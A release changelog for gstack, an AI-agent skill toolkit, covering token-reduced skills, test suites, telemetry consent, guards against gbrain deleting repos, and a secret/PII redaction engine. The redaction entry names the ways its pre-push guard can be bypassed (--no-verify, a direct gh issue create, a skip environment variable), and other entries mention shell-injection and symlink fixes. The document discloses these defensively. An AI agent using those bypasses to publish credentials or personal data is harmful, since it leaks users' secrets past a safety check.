A timed-out import now actually resumes. Previously the run said "checkpoint preserved" but then deleted the staging dir, so the next run always restaged. The staging dir is now kept when a checkpoint points at it, and the message is honest when there is nothing to resume.

Resume no longer hides import failures. A resumed run could mark files that failed to import as ingested, so they were never retried. Failures now map back to their source files on resume and get another pass.

For contributors

New lib/staging-guard.ts exports checkOwnedStagingDir(), the single fail-closed predicate shared by the deletion chokepoint and the resume gate. It returns the realpath-resolved canonical path so callers delete exactly what they validated (closes a symlink TOCTOU). makeStagingDir() tears down and rethrows if its marker write fails, so a marker-less dir can never leak. The #1611 resume regression suite grew to 64 assertions covering the poison matrix, the remote-http gate, timeout-preserve, and resume failure-mapping.

[1.56.0.0] - 2026-06-03

Five heavy skills now load their bulk on demand, the shared question preamble slimmed corpus-wide, and a paranoid test suite proves the questions never got worse.

The token-reduction program lands its biggest wave. Five of the heaviest skills — /plan-ceo-review, /office-hours, /plan-eng-review, /plan-design-review, and /plan-devex-review — are now a small always-loaded skeleton plus an on-demand sections/ file the agent opens only when it reaches the work. The conversational front half (Step 0 scope, the live interview) stays always-loaded; the deep review bodies, design-doc templates, outside-voice rules, and required-output writers move behind a single STOP-Read. The shared AskUserQuestion preamble also shed its rarely-needed CJK escaping manual, so every interactive skill is a little lighter at once. And because the most user-facing surface in gstack is the question it asks you, a new paranoid test suite proves that slimming a skill never strands or degrades that question.

The numbers that matter

Measured from the generated skeletons (wc -c <skill>/SKILL.md), regenerated for all hosts:

Skill Before After Δ

plan-ceo-review 138,838 B 80,731 B -42.0%

office-hours 118,280 B 88,975 B -24.8%

plan-eng-review 106,984 B 54,892 B -48.7%

plan-design-review 112,057 B 76,024 B -32.2%

plan-devex-review 110,621 B 69,658 B -37.0%

On top of the per-skill carves, the shared AskUserQuestion preamble dropped its inline CJK manual to a one-line rule + a doc pointer, trimming ~29,524 B across the Claude-host corpus (every interactive skill, ~900 B each).

The AskUserQuestion proof, measured by SDK capture (test/skill-e2e-auq-matrix.test.ts):

Guarantee Result

Carved vs verbose, same trigger 7/7 format, substance 5 == 7/7 format, substance 5 (no degradation)

Matrix across 7 AUQ-heavy skills all 7/7 format, substance 4-5

Same trigger 3× (consistency) stable, every format element every run

AUQ format spec always-loaded guaranteed in every skeleton (Layer 0)

Every review runs identical pass for pass; the only thing that changed is what sits in context before the work begins.

What this means for you

The skills you run most start markedly lighter: a /plan-ceo-review opens ~42% smaller, the others 25-49%, and they pull in their review bodies only when they reach them. You will not notice any behavior change in the reviews themselves; they run section for section as before. What you get is more of the context window left for your actual work, paid back on every invocation. And every skill that asks you questions now carries a guarantee, enforced by tests: the decision brief (plain-English ELI10, an explicit recommendation with a real reason, pros and cons, the stakes) is provably in context the instant any question fires. External hosts (codex, factory, kiro, opencode) still receive the full inline skill, so nothing regresses off Claude.

Itemized changes

Added

plan-ceo-review/sections/review-sections.md — the 11-section deep review, outside-voice rules, required-output registries, completion summary, review report writer, next-step chaining, and mode quick reference, behind a STOP-Read pointer with a passive manifest.json.

office-hours/sections/design-and-handoff.md — Phase 5 design-doc templates + Phase 6 tiered handoff, behind a STOP-Read pointer with a passive manifest.json.

/plan-eng-review, /plan-design-review, /plan-devex-review each gain a sections/review-sections.md carved behind a post-Step-0 STOP-Read.

docs/askuserquestion-cjk.md — full non-ASCII / CJK escaping rationale + worked example, read on demand.

test/auq-format-always-loaded.test.ts — free per-PR keystone: every interactive skill must carry the full AskUserQuestion format spec in its always-loaded skeleton, never stranded in a section. 51 cases plus a negative control.

test/skill-e2e-auq-matrix.test.ts — drives each AUQ-heavy skill to its first question and grades it (7/7 format, substance >=4).

test/skill-e2e-auq-verbose-vs-carved-ab.test.ts — proves a carved skill's question is not worse than the pre-carve monolith's, on the same trigger.

test/skill-e2e-auq-consistency.test.ts — same trigger N times, fails on any format element that flickers between runs.

test/codex-e2e-recommendation-substance.test.ts — grades /codex's live recommendation substance.

test/skill-ceo-section-ordering.test.ts — gate-tier static guard: the STOP fires after Step 0, the review body is absent from the skeleton, the report writer lives in the section, and nothing review-governing sits below the STOP.

test/skill-e2e-plan-ceo-review-section-loading.test.ts — periodic backstop that asserts the carved section is Read before the report.

Changed

/plan-ceo-review, /office-hours, /plan-eng-review, /plan-design-review, /plan-devex-review are each a skeleton + one on-demand section on Claude; the conversational front (Step 0 / Phases 1-4.5) stays always-loaded; external hosts still receive the full inline skill (no behavior change off Claude).

The AskUserQuestion preamble trims the inline CJK manual to the operative rule + a doc pointer; the always-loaded self-check is unchanged.

Parity, size-budget, section-manifest, gen-skill-docs, and skill-validation treat every carved skill consistently (content + size floors run against the skeleton + section union; skeleton-shrink assertions guard the always-loaded win).

For contributors

test/helpers/auq-sdk-capture.ts — reusable SDK capture engine: drives a skill to its AUQ and captures the verbatim generated text cleanly (real-PTY mangles plan-mode questions), grades format + recommendation substance robust to the connective, and detects section reads losslessly from the tool-use stream.

section-manifest-consistency discovers every carved skill automatically, so the next carve is covered the moment its manifest lands.

The /ship and /plan-ceo-review section-loading E2E tests detect section reads from the claude -p tool-use stream instead of scraping the real-PTY screen buffer, so they are reliable (the PTY path silently saw nothing in some terminals) and run hermetically against the worktree carve without mutating the installed skill.

[1.55.1.0] - 2026-06-02

Telemetry now tells you exactly what it records and where it stays. The project-slug helper hands the shell a safe identifier on every path.

The telemetry opt-in screen now states the truth without asterisks: it shares skill name, duration, crashes, and a stable device ID, with no code and no file paths, and your repo name is recorded locally only and stripped before any upload. Under the hood, the helper that every skill uses to find your project (gstack-slug) now filters its output to [a-zA-Z0-9._-] on every path, including the cached one, so the value that gets handed to the shell is always a plain identifier. Two regression tests lock both behaviors so they can't quietly drift back.

The guarantees that matter

These are enforced by tests in this release, not promises (bun test test/telemetry-repo-strip.test.ts test/gstack-slug-sanitize.test.ts):

Guarantee Pinned by

Your repo name never leaves the machine (stripped before upload) telemetry-repo-strip.test.ts — floor + producer-coverage + runs the real strip over a sample event

A tampered slug cache can't put shell characters into the helper's output gstack-slug-sanitize.test.ts — fails if the sanitization is removed

The consent copy matches what the code actually does generate-telemetry-prompt.ts (regenerated into every skill)

The repo-identity test covers all three producer fields (repo, _repo_slug, _branch), so adding a new field that forgets to get stripped fails CI rather than shipping silently.

What this means for you

Your telemetry choice screen now describes what actually happens, so you can opt in (or not) on accurate information. If you share a machine or have ever worried about a tampered ~/.gstack cache, the slug helper now refuses to pass anything but a safe identifier to the shell. Nothing to do — both land automatically on upgrade.

Itemized changes

Changed

Telemetry consent copy is now accurate: "No code or file paths. Your repo name is recorded locally only and stripped before any upload" (was "No code, file paths, or repo names").

Fixed

gstack-slug sanitizes its output to [a-zA-Z0-9._-] on every path, including values read from its on-disk cache, so eval "$(gstack-slug)" always receives a plain identifier. A tampered cache file is also healed on the next write.

The telemetry preamble sanitizes the repo basename before building its JSON line, so an unusual repo directory name can't malform the local analytics record.

Added

test/telemetry-repo-strip.test.ts — enforces that no repo/branch identity field reaches the upload batch (floor + producer-coverage + real-strip behavior).

test/gstack-slug-sanitize.test.ts — regression test proving a poisoned slug cache cannot inject shell metacharacters.

For contributors

The consent copy and repo-basename handling live in scripts/resolvers/preamble/; all SKILL.md files and the ship goldens were regenerated from those resolvers.

[1.55.0.0] - 2026-05-30

/sync-gbrain can no longer be the trigger that lets gbrain delete your repo. The headed browser stops crash-looping, and gbrain installs the current release instead of a pin 23 versions stale.

gbrain can rm-rf a working tree when its autopilot daemon reclones mid-cycle. /sync-gbrain used to call gbrain's sources remove and sync --strategy code as if they were safe, so it could be the thing that set that race off. Now every destructive gbrain call sits behind feature-detected guards: the orchestrator refuses to run while autopilot is active, refuses to remove a user-managed source it can't storage-protect (it fails closed), canonicalizes paths with realpath so a symlink can't smuggle a delete outside gbrain's own clones, and requires an explicit --allow-reclone before a URL-managed source's code walk. Shipped in the same wave: the headed browser's self-inflicted crash-loop is gone, big-brain memory ingests stop getting killed at a fixed 30 minutes, and the gbrain installer moves off its frozen v0.18.2 pin onto the latest release behind a version floor and a doctor self-test.

The numbers that matter

From the shipped diff and its regression suites (bun test test/gbrain-*.test.ts browse/test/restart-env.test.ts test/memory-ingest-timeout.test.ts):

Metric Before After Δ

Destructive gbrain ops behind guards 0 4 +4

gbrain / brain-sync spawns that work on Windows 0/8 8/8 +8

gbrain version installed v0.18.2 (pinned, ~23 behind) latest + min-version floor + doctor gate —

Memory-ingest timeout hardcoded 30 min configurable, checkpoint preserved on timeout —

Generated SKILL.md that parse under strict YAML partial (colons broke Codex) all (quoted) —

The guard that matters most: a sources remove on a source whose files live outside ~/.gbrain/clones/ and can't be storage-protected now refuses instead of proceeding. The path that ate a repo no longer runs unattended.

What this means for you

If you use /sync-gbrain, you are protected from the data-loss race even before gbrain ships its own root fix. "Don't run /sync-gbrain while gbrain autopilot is active" is now enforced, not just advised, and nothing gets deleted that can't be proven safe. Headed-browser QA against beacon-heavy pages (analytics, live extensions) no longer crash-loops, leaks Chromium, or silently drops to an invisible headless window. New gbrain installs track the current release. Codex and OpenAI can load every gstack skill again.

Itemized changes

Added

/sync-gbrain destructive-op guards (lib/gbrain-guards.ts): multi-signal autopilot detection, fail-closed sources remove, realpath remote_url pre-flight audit, and a --allow-reclone gate before URL-managed code walks.

Install-time gbrain gate (bin/gstack-gbrain-install): a minimum-version floor and a gbrain doctor --fast self-test, both hard-fail with remediation.

GSTACK_INGEST_TIMEOUT_MS to configure the memory-ingest timeout; on timeout the gbrain checkpoint is preserved so the next run resumes.

Changed

gbrain installs at the latest default-branch HEAD by default; pin a commit with gstack-gbrain-install --pinned-commit <sha> for reproducibility.

Generated SKILL.md descriptions with interior colons are now quoted, so strict YAML loaders (Codex/OpenAI) parse them.

/sync-gbrain guidance: do not run during autopilot; prefer gbrain sources add --path over URL-managed sources.

Fixed

/sync-gbrain no longer races gbrain's autopilot into a destructive reclone or remove (#1734). Report by @mvanhorn.

gstack-jsonl-merge resolves equal-timestamp entries deterministically across machines, so append-only logs converge instead of re-conflicting forever (#1769). Contributed by @jbetala7.

Generated SKILL.md frontmatter parses under strict YAML loaders (#1778). Reported by @GilbertzzzZZ, @genisis0x, @cathrynlavery, and @sator-imaging.

The headed browser daemon no longer crash-loops under load, leaks Chromium processes, or silently downgrades a headed session to headless (#1781).

/sync-gbrain --full memory ingests on large brains are no longer killed at a fixed 30-minute timeout (#1611).

The gbrain CLI and gstack-brain-sync spawn correctly on Windows (#1731).

For contributors

lib/gbrain-guards.ts with hermetic tests for every guard branch (autopilot signals, fail-closed remove, reclone gate, realpath containment).

parseSourcesList centralizes gbrain sources list --json shape handling across all readers (#1576, whose crash was already fixed in v1.42.0.0 — this removes the last divergent reader).

Static-grep tripwire (test/gbrain-spawn-windows-shell.test.ts) fails CI if a gbrain spawn drops the Windows shell flag.

gbrain-side requirements for the root fixes (ungated reclone, --keep-storage, a cooperative remove-lease, a capability command, true ingest-resume, integration CI) are tracked for the gbrain repo.

[1.54.0.0] - 2026-05-30

The heaviest skill stopped taxing every session. /ship's always-loaded cost dropped 59%, and its prose now loads only when a step needs it.

/ship was a 167KB wall that every session paid for in full, whether you were bumping a version or writing a changelog or none of it. It is now a 69KB decision-tree skeleton plus eight sections/*.md files the agent opens on demand. The eight steps that are long prose (the test run, coverage audit, plan-completion, the review army, Greptile triage, the adversarial pass, the changelog, the PR body) moved into sections behind STOP-Read pointers, so a run only reads the chapters its situation calls for. The version-bump logic that used to be ~90 lines of inline bash, the single worst re-bump footgun in the workflow, is now the tested gstack-version-bump CLI (classify / write / repair). Other hosts (codex, factory, kiro, opencode) keep the full inline skill unchanged, so nothing regresses off Claude. This release dogfooded itself: the version you are reading was bumped by gstack-version-bump.

The numbers that matter

Measured directly from the generated skill (wc -c ship/SKILL.md) and the new section files, regenerated for all hosts:

Metric Before (v1.53) After (v1.54) Δ

ship always-loaded 167 KB (~41.8K tokens) 69 KB (~17.2K tokens) -59%

ship prose loaded per run all of it only applicable sections on-demand

ship version logic ~90 lines inline bash tested CLI, 15 unit tests extracted

External-host ship 167 KB inline 162 KB inline (unchanged behavior) no regression

The skeleton is what loads the instant /ship is invoked, so the ~24.6K-token drop is paid back on every single ship, not just once.

What this means for you

A /ship run starts ~3x lighter and pulls in each heavy step's instructions only when it reaches that step, so the agent spends less of its window holding prose it is not using yet. You will not notice any behavior change. The workflow is identical step for step; the difference is what is in context when. If you ever want to read a step in isolation, the chapters live at ~/.claude/skills/gstack/ship/sections/.

Itemized changes

Added

bin/gstack-version-bump — tested version-state CLI (classify / write / repair) with 15 unit tests covering the full FRESH / ALREADY_BUMPED / DRIFT_STALE_PKG / DRIFT_UNEXPECTED matrix.

ship/sections/*.md — eight on-demand sections (tests, test-coverage, plan-completion, review-army, greptile, adversarial, changelog, pr-body) with a passive manifest.json registry.

Section pipeline in gen-skill-docs: {{SECTION:id}} (STOP-Read pointer on Claude, inline on other hosts) and {{SECTION_INDEX}} (situation to section table rendered from the manifest).

test/helpers/transcript-section-logger.ts + required-reads.ts and section-loading / manifest-consistency / context-parity tests guarding the carve.

Changed

/ship is a skeleton + sections on Claude; external hosts still receive the full inline skill (no behavior change off Claude).

Step 12 calls gstack-version-bump instead of inline bash.

Parity harness understands carved skills (checks skeleton + sections union; asserts the skeleton actually shrank).

For contributors

setup links sections/ into the prefixed Claude + Kiro skill dirs; --host all now fails the build on any host failure, not just claude.

New section templates live at <skill>/sections/*.md.tmpl; regenerate with bun run gen:skill-docs.

[1.53.1.0] - 2026-05-30

Workspace and scripted setup never hang on a hidden prompt again. Installing the plan-tune hooks is now flag-driven with safe defaults.

./setup asked "Install both hooks now? [y/N]" with a blocking read. Run under a Conductor workspace or any forwarded terminal, that prompt had nobody to answer it, so setup hung forever. Now the decision comes from a flag, an env var, or saved config, and when nobody is there to answer it takes a safe default instead of waiting. A real terminal still gets the prompt, but it is time-bounded (auto-skips after 10s) so it can never stall a pipeline.

What this means for you

Spinning up a new workspace just works. bin/dev-setup runs fully non-interactively and never rewrites your global Claude settings behind your back.

Want the plan-tune hooks installed without a prompt? ./setup --plan-tune-hooks (or GSTACK_PLAN_TUNE_HOOKS=yes, or gstack-config set plan_tune_hooks yes). Don't want them? --no-plan-tune-hooks. Leave it unset and a real terminal still asks once, then remembers.

Added

--plan-tune-hooks / --no-plan-tune-hooks / --plan-tune-hooks=yes|no|prompt flags on ./setup, plus the GSTACK_PLAN_TUNE_HOOKS env var and a plan_tune_hooks config key (default prompt). Precedence: flag > env > saved config > prompt on a real terminal.

Fixed

./setup no longer hangs in non-interactive or forwarded-TTY contexts (Conductor workspaces, CI). The plan-tune consent prompt is time-bounded and defaults to skip.

bin/dev-setup runs setup non-interactively and can no longer silently rewrite your global ~/.claude/settings.json to point at an ephemeral workspace path that breaks when the workspace is deleted.

Opt-in values like YES, Yes, or yes are honored instead of being silently downgraded to skip, and gstack-config now rejects out-of-domain plan_tune_hooks values.

For contributors

New regression suite test/setup-plan-tune-hooks-noninteractive.test.ts (flag wiring, no-blocking-read guard, decision normalization, config round-trip + domain rejection, dev-setup pin) with host-config isolation via a temp GSTACK_HOME.

Rebaselined test/parity-suite.test.ts from the stale v1.44.1 anchor to v1.53.0.0. The 1.05 per-skill ratio is kept (only the anchor moved), absorbing legitimate v1.49–v1.53 planning-skill growth and clearing the 5 pre-existing parity failures noted in the v1.53.0.0 entry. Historical baselines retained for the v1→v2 audit trail.

De-flaked test/plan-tune.test.ts "derive pushes scope_appetite up" (was ~25–50% flaky, worse on main): it now sets GSTACK_QUESTION_LOG_NO_DERIVE=1 so gstack-question-log's fire-and-forget background --derive can't race the test's explicit one.

[1.53.0.0] - 2026-05-29

Secrets, PII, and legal landmines get caught before they reach a public sink. One redaction engine now guards /spec, /ship, /cso, and the /document- skills.*

/spec used to scan for seven secret patterns and only blocked the codex hand-off. Everything after that — the GitHub issue it filed, the local archive — went out unscanned. So you could pull an AWS key out of the draft, re-run, and still publish a customer's email to a world-readable issue. That gap is closed. A single shared engine (lib/redact-patterns.ts + lib/redact-engine.ts, driven by the new gstack-redact CLI) now scans the exact bytes that will be sent, at every sink: the codex dispatch, the issue body, the archive write, the PR body and title, and generated docs before they commit. HIGH-confidence credentials block. PII and legal/damaging content (a named person tied to "fired", a customer tied to "churn", NDA markers) prompt you per finding, with one-keystroke auto-redact for emails, phones, SSNs, and cards. Public repos get a sterner bar than private ones.

It is a guardrail, not a vault. git push --no-verify, a direct gh issue create, and GSTACK_REDACT_PREPUSH=skip all still get through. It catches accidents and carelessness, which is where real leaks come from.

The numbers that matter

From the shipped engine and its test suite (bun test test/redact-*.test.ts and the per-skill wiring tests):

Metric Before (v1.52) After (v1.53) Δ

Redaction patterns 7 (secrets only) 33 (secrets + PII + legal + internal) +26

Tiers 1 (block) 3 (block / confirm / FYI) +2

Enforcement sinks in /spec 1 (codex only) 3 (codex, issue, archive) +2

Skills guarded 1 (/spec) 5 (/spec, /ship, /cso, /document-release, /document-generate) +4

Redaction tests ~5 string checks 159 behavior tests +154

Tier split of the 33 patterns: 17 HIGH (genuinely-secret credentials), 14 MEDIUM (PII, legal, internal-leak, plus high-FP credential shapes), 2 LOW. Calibration is the point: Stripe publishable keys, Google AIza keys, JWTs, and env-style *_KEY= sit at MEDIUM, not HIGH, because a gate that cries wolf gets muted.

What this means for you

When you /spec or /ship, you no longer have to remember that the issue body is public. A real credential stops the operation cold and tells you to rotate it. An email or a sentence naming a coworker surfaces as a question, with auto-redact one keystroke away. Turn on the optional pre-push hook (gstack-config set redact_prepush_hook true) to catch the classic .env-into-the-diff push too. Nothing new to learn: it runs inside the skills you already use.

Itemized changes

Added

Shared redaction engine. lib/redact-patterns.ts (33-pattern, 3-tier taxonomy — the single source of truth) and lib/redact-engine.ts (pure scan() + applyRedactions() with Unicode normalization, ReDoS-safe size cap, Luhn/entropy/RFC1918 validators, safe-masked previews).

gstack-redact CLI — scan stdin or a file, JSON or human output, exit 0/2/3 to gate skills, --auto-redact for the PII one-keystroke path, --repo-visibility, --allowlist, --self-email.

Opt-in pre-push hook (gstack-redact-prepush + gstack-redact install-prepush-hook) — blocks a credential in the pushed diff (public and private), correct remote..local diff direction with new-branch/force-push/delete handling, chains any existing hook, GSTACK_REDACT_PREPUSH=skip escape valve.

/spec Phase 4.5a semantic review — an in-conversation pass (no third party) for named-criticism, customer complaints, unannounced strategy, NDA material, and codename bleed, with a content-free audit trail at ~/.gstack/security/semantic-reviews.jsonl.

Config keys redact_repo_visibility (local-only override for repos gh/glab can't read) and redact_prepush_hook.

Changed

/spec, /ship, /document-release, /document-generate scan at every external sink, on the exact bytes sent (temp-file scan-at-sink, no scan-then-re-render gap). /ship wraps Codex/Greptile output in tool-attributed fences so the example credentials those tools quote degrade to a non-blocking warning instead of failing the PR.

/cso shares the same canonical taxonomy via lib/redact-patterns.ts for its secrets archaeology.

For contributors

Skill docs for the redaction surface are generated from scripts/resolvers/redact-doc.ts ({{REDACT_TAXONOMY_TABLE}}, {{REDACT_INVOCATION_BLOCK:<sink>}}), so the five skills never drift from the engine.

12 new test files, 159 redaction assertions, plus a periodic-tier semantic-pass eval (test/redact-semantic-pass.eval.ts).

Known pre-existing: the legacy test/parity-suite.test.ts (v1.44.1 baseline) reports 5 planning-skill size regressions inherited from the brain-aware-planning releases (v1.49–v1.52); they are unrelated to this branch and the active v1.47 size-budget gate passes. Tracked in TODOS.md to rebaseline.

[1.52.2.0] - 2026-05-29

Emoji render in make-pdf PDFs on every platform. Linux stops printing tofu boxes, and setup installs the font for you.

make-pdf used to render emoji code points as .notdef tofu (▯) on Linux. The cause was a missing fallback: the print CSS font stacks had no emoji family, and most Linux distros and containers ship no color-emoji font at all, so Skia drew empty boxes in every header and table that used emoji. Now the body and running-header stacks fall back through Apple Color Emoji, Segoe UI Emoji, and Noto Color Emoji, and ./setup best-effort installs fonts-noto-color-emoji on Linux (apt, with dnf/pacman/apk fallbacks), refreshes the font cache, and restarts a running browser daemon so the next render picks it up. macOS and Windows already shipped an emoji font and are unchanged. Non-emoji Unicode (em dash, times, arrow, bullet, ellipsis) always worked and still does.

The numbers that matter

Source: the emoji render gate, bun test make-pdf/test/e2e/emoji-gate.test.ts, rendering a fixture of color emoji at 100 dpi.

Metric Before After Δ

Saturated (color) pixels in the rendered emoji region ~0 (tofu) ~1,650 real color render

Platforms that render emoji correctly macOS, Windows macOS, Windows, Linux +Linux

Emoji-bearing font stacks with a fallback family 0 2 body + running header

Deterministic render-proof gates 0 1 pdffonts + pixel

A tofu box is a near-monochrome outline (close to zero colored pixels). A real emoji render lands about 1,650 saturated pixels. The gate asserts both that an emoji font embedded (pdffonts) and that the page actually rasterizes to color (pdftoppm), because PDF text extraction passes even when the glyph drew as tofu, so it cannot be trusted as the proof.

What this means for builders

If you generate PDFs on Linux or inside a container, emoji in section headers and table status columns now render instead of ▯. Run ./setup once on Linux to install the font; there is nothing to do on macOS or Windows. Set GSTACK_SKIP_FONTS=1 to opt out on locked-down or offline machines.

Itemized changes

Added

ensure_emoji_font() in setup: Linux color-emoji install across apt/dnf/pacman/apk, fc-match color-font detection (idempotent, skips when a real color font already resolves), fc-cache refresh under sudo, and a browse-daemon restart so a running render server sees the new font. Opt out with GSTACK_SKIP_FONTS=1. Non-interactive sudo -n and timeout-bound package calls so it never hangs setup.

Emoji render gate (make-pdf/test/e2e/emoji-gate.test.ts) with a variation-selector (❤️, FE0F) fixture: asserts an emoji font embeds and the page rasterizes to color. Hard-fails in CI when poppler or the font is missing, so prerequisite drift can't hide a regression behind a green build.

resolvePopplerTool() resolver for pdffonts / pdfimages / pdftoppm.

The Ubuntu make-pdf CI gate installs fonts-noto-color-emoji before Chromium launches.

Changed

Print CSS body and @top-center running-header font stacks fall back through Apple Color Emoji, Segoe UI Emoji, and Noto Color Emoji, placed before the generic sans-serif. All font stacks are now composed from shared constants.

Fixed

make-pdf no longer renders emoji as .notdef tofu (▯) on Linux.

[1.52.1.0] - 2026-05-27

Brain-aware planning lands. Five planning skills read structured context from any personal gbrain before asking — same questions, smarter answers, no token tax.

/office-hours, /plan-ceo-review, /plan-eng-review, /plan-design-review, and /plan-devex-review now preflight a typed entity model from your gbrain (Wintermute, local PGLite, or any thin-client MCP) before their first AskUserQuestion. Reviews stop asking "what's the product?" / "who's the target user?" / "what was your prior scope call?" — that context loads from cached digests of typed gstack/product, gstack/goal, gstack/developer-persona, gstack/brand, gstack/competitive-intel, gstack/skill-run, gstack/user-profile, and gstack/take pages. The brain becomes a structured model of your product and your judgment patterns, not just a search index.

The unlock: every planning skill filters its recommendations through "what does the user actually want right now, what is this product, what have we decided before." That's the qualitative shift codex outside-voice argued for — the brain telling reviews "this contradicts your January CEO plan" or "your developer persona digest says first-time CLI users; this plan adds 3 setup commands."

The numbers that matter

Source: bun test test/brain-cache-spec.test.ts test/skill-preflight-budget.test.ts (verifies budgets statically) and bin/gstack-brain-cache get product smoke (verifies warm-hit latency).

Surface Before After Δ

Planning-skill cold-start tokens (preflight context) 0 (asked everything) 500–1500 tokens (warm hit) / 5–15 KB once-per-day (cold miss) brain-as-model, not just search

MCP calls per skill invocation (warm hit) n/a (no integration) 0 (single disk read) 95% path

MCP calls per skill invocation (cold miss) n/a 4–8 parallel calls, ~1–2s once bounded

Autoplan (4 sequential skills) preflight cost n/a 1 cold-miss + 3 warm-hits via lockfile dedup concurrent dedup saves 4×

New typed brain page kinds 0 8 (gstack-core@1.0.0 schema pack) first-class entity model

Per-endpoint trust policies 0 (sync mode global only) 1 per sha8(MCP URL) namespace, hash collision → sha16 shared-brain safe

New gate-tier tests 0 10 files / 111 assertions every correctness path covered

The cache layer keeps the brain integration honest: 95% of invocations are a single disk read at ~10–30ms; cold-miss pays a one-time ~1–2s tax that's deduplicated across concurrent autoplan dispatches via a project-scoped lockfile. Salience is filtered by an allowlist (projects/, concepts/, gstack/) before write so personal pages — family, therapy, reflection — never leak into work-flow planning prompts. The trust-policy primitive makes personal-brain auto-push safe and shared-brain reads conservative by default.

What this means for you

If you use planning skills today: every invocation gets sharper without you doing anything different. The skills ask fewer redundant questions and surface "this contradicts your Jan plan" / "your Feb TTHW benchmark was 2:15 vs the 5:30 baseline" / "tendency to under-expand on infra plans" — the brain doing the bookkeeping that your memory shouldn't have to.

If you use a remote MCP brain (Wintermute or your own): /setup-gbrain Step 9.5 asks the trust-policy question once per endpoint. Personal endpoint → ~/.gstack/ artifacts auto-push and calibration takes write back to your brain. Shared/team endpoint → reads only, prompts before writes, user-namespaced via federation sources or users/<slug>/gstack/ prefix.

If you use local PGLite: auto-detected as personal; no question fires. The cache lives at ~/.gstack/{,projects/<slug>/}brain-cache/ with per-entity TTLs.

If you're a contributor: the new resolver pattern ({{BRAIN_PREFLIGHT}} / {{BRAIN_CACHE_REFRESH}} / {{BRAIN_WRITE_BACK}}) is the template seam for the brain integration. Empty string for any skill not in SKILL_DIGEST_SUBSETS — drop the placeholders anywhere with zero cost.

Phase 2 calibration write-back is gated behind the BRAIN_CALIBRATION_WRITEBACK feature flag (default off) until upstream gbrain ships takes_add / takes_resolve MCP ops (filed in TODOS.md as P2). When the flag flips, the existing skill templates pick up the write-back behavior with no template changes.

Itemized changes

Added

scripts/brain-cache-spec.ts — single source of truth for BRAIN_CACHE_ENTITIES (8 entities × TTL + budget + invalidation rules), SKILL_DIGEST_SUBSETS (per-skill which files to load), SALIENCE_DEFAULT_ALLOWLIST, SKILL_CALIBRATION_WEIGHTS, trust-policy + schema-pack constants.

scripts/gstack-schema-pack.ts — gstack-core@1.0.0 schema pack with 8 typed page kinds: user-profile, product, goal, developer-persona, brand, competitive-intel, skill-run, take. Frontmatter shapes, retention policies, link verbs for mcp__gbrain__schema_graph.

bin/gstack-brain-cache — three-tier cache CLI: get / refresh / invalidate / digest / meta / bootstrap / list / purge subcommands. Atomic writes, TTL staleness, schema-version full-rebuild on mismatch, stale-but-usable fallback, concurrent-refresh lockfile dedup.

scripts/resolvers/gbrain.ts — three new resolver functions: generateBrainPreflight, generateBrainCacheRefresh, generateBrainWriteBack. Empty-string for non-preflight skills (defensive).

bin/gstack-config — brain_trust_policy@<endpoint-hash> namespace, endpoint-hash subcommand (sha8 with collision → sha16 escalation), resolve-user-slug subcommand (D4 A3 identity resolution chain: whoami → $USER → sha8(git email) → anonymous-<sha8(hostname)>).

setup-gbrain Step 9.5 — brain trust policy question per-endpoint. Local auto-set personal; remote-ambiguous asks; personal flips artifacts_sync_mode=full.

sync-gbrain — --refresh-cache flag (replaces planned /brain-refresh-context skill per D1 fold), --audit flag (gstack-owned page summary + salience leak check), Step 1 trust-policy gate.

10 new gate-tier test files (111 assertions): brain-cache-spec, gstack-schema-pack, brain-cache-roundtrip, cache-concurrent-refresh, salience-allowlist, brain-preflight, user-slug-fallback, schema-version-migration, takes-fence-fallback, skill-preflight-budget.

Changed

5 planning SKILL.md.tmpl files wired with {{BRAIN_PREFLIGHT}} (top of skill body) and {{BRAIN_CACHE_REFRESH}} / {{BRAIN_WRITE_BACK}} (end of skill) placeholders.

scripts/resolvers/index.ts registers BRAIN_PREFLIGHT, BRAIN_CACHE_REFRESH, BRAIN_WRITE_BACK.

For contributors

Three follow-ups deferred to TODOS.md (P2 / P3): /gstack-reflect nightly synthesis, cross-machine brain-cache sync, dedicated /gstack-onboarding skill.

Upstream gbrain dependency for Phase 2: takes_add + takes_resolve MCP ops in ~/git/gbrain/ (filed as P2 in TODOS.md). Phase 2 wiring already exists behind BRAIN_CALIBRATION_WRITEBACK flag; flag flips when upstream lands.

Plan / CEO + eng review record: ~/.claude/plans/hm-interesting-well-why-dapper-eagle.md (Approach B + 5 cherry-picks + 11 D-decisions from full eng review + codex outside-voice synthesis).

Save-results path: works under any CLI when gbrain is on PATH

Brain-aware planning saves the actual review document to gbrain, not just preflight digests and calibration takes. Setup detects gbrain at install time and, if present, the planning skills emit compressed gbrain put "<prefix>/<feature-slug>" instructions for office-hours/, ceo-plans/, eng-reviews/, design-reviews/, and devex-reviews/ slug spaces. If gbrain is not detected, the save-results block is suppressed entirely. Zero token overhead for users without gbrain. If you install gbrain after running ./setup, run gstack-config gbrain-refresh to pick up the change.

Token cost stays tight: the inline save-results block is ~150 tokens per planning skill (down from ~1000 a naive un-suppression would have added). The full save template (heredoc body, entity-stub instructions, throttle handling, backlinks) lives in docs/gbrain-write-surfaces.md §Save Template and the agent reads it on demand only when it actually saves. Same compression discipline for the brain-context-load block: ~115 tokens with skip-header pointing to §Context Load.

Detection state Per-planning-skill token overhead What the agent does on save

gbrain on PATH + gstack-config gbrain-refresh says local_status: "ok" ~250 tokens (CONTEXT_LOAD + SAVE_RESULTS, compressed) reads docs/gbrain-write-surfaces.md on demand, calls gbrain put <prefix>/<slug>

gbrain not on PATH 0 tokens block suppressed at gen-time, nothing rendered

GBrain or Hermes host adapter full inline render (unchanged) calls gbrain put always

Wired for all five planning skills uniformly: office-hours, plan-ceo-review, plan-eng-review, plan-design-review, plan-devex-review. The last two gained the {{GBRAIN_SAVE_RESULTS}} placeholder in their templates (previously only the first three had it, so design-review and devex-review produced no retrievable page even under GBrain CLI).

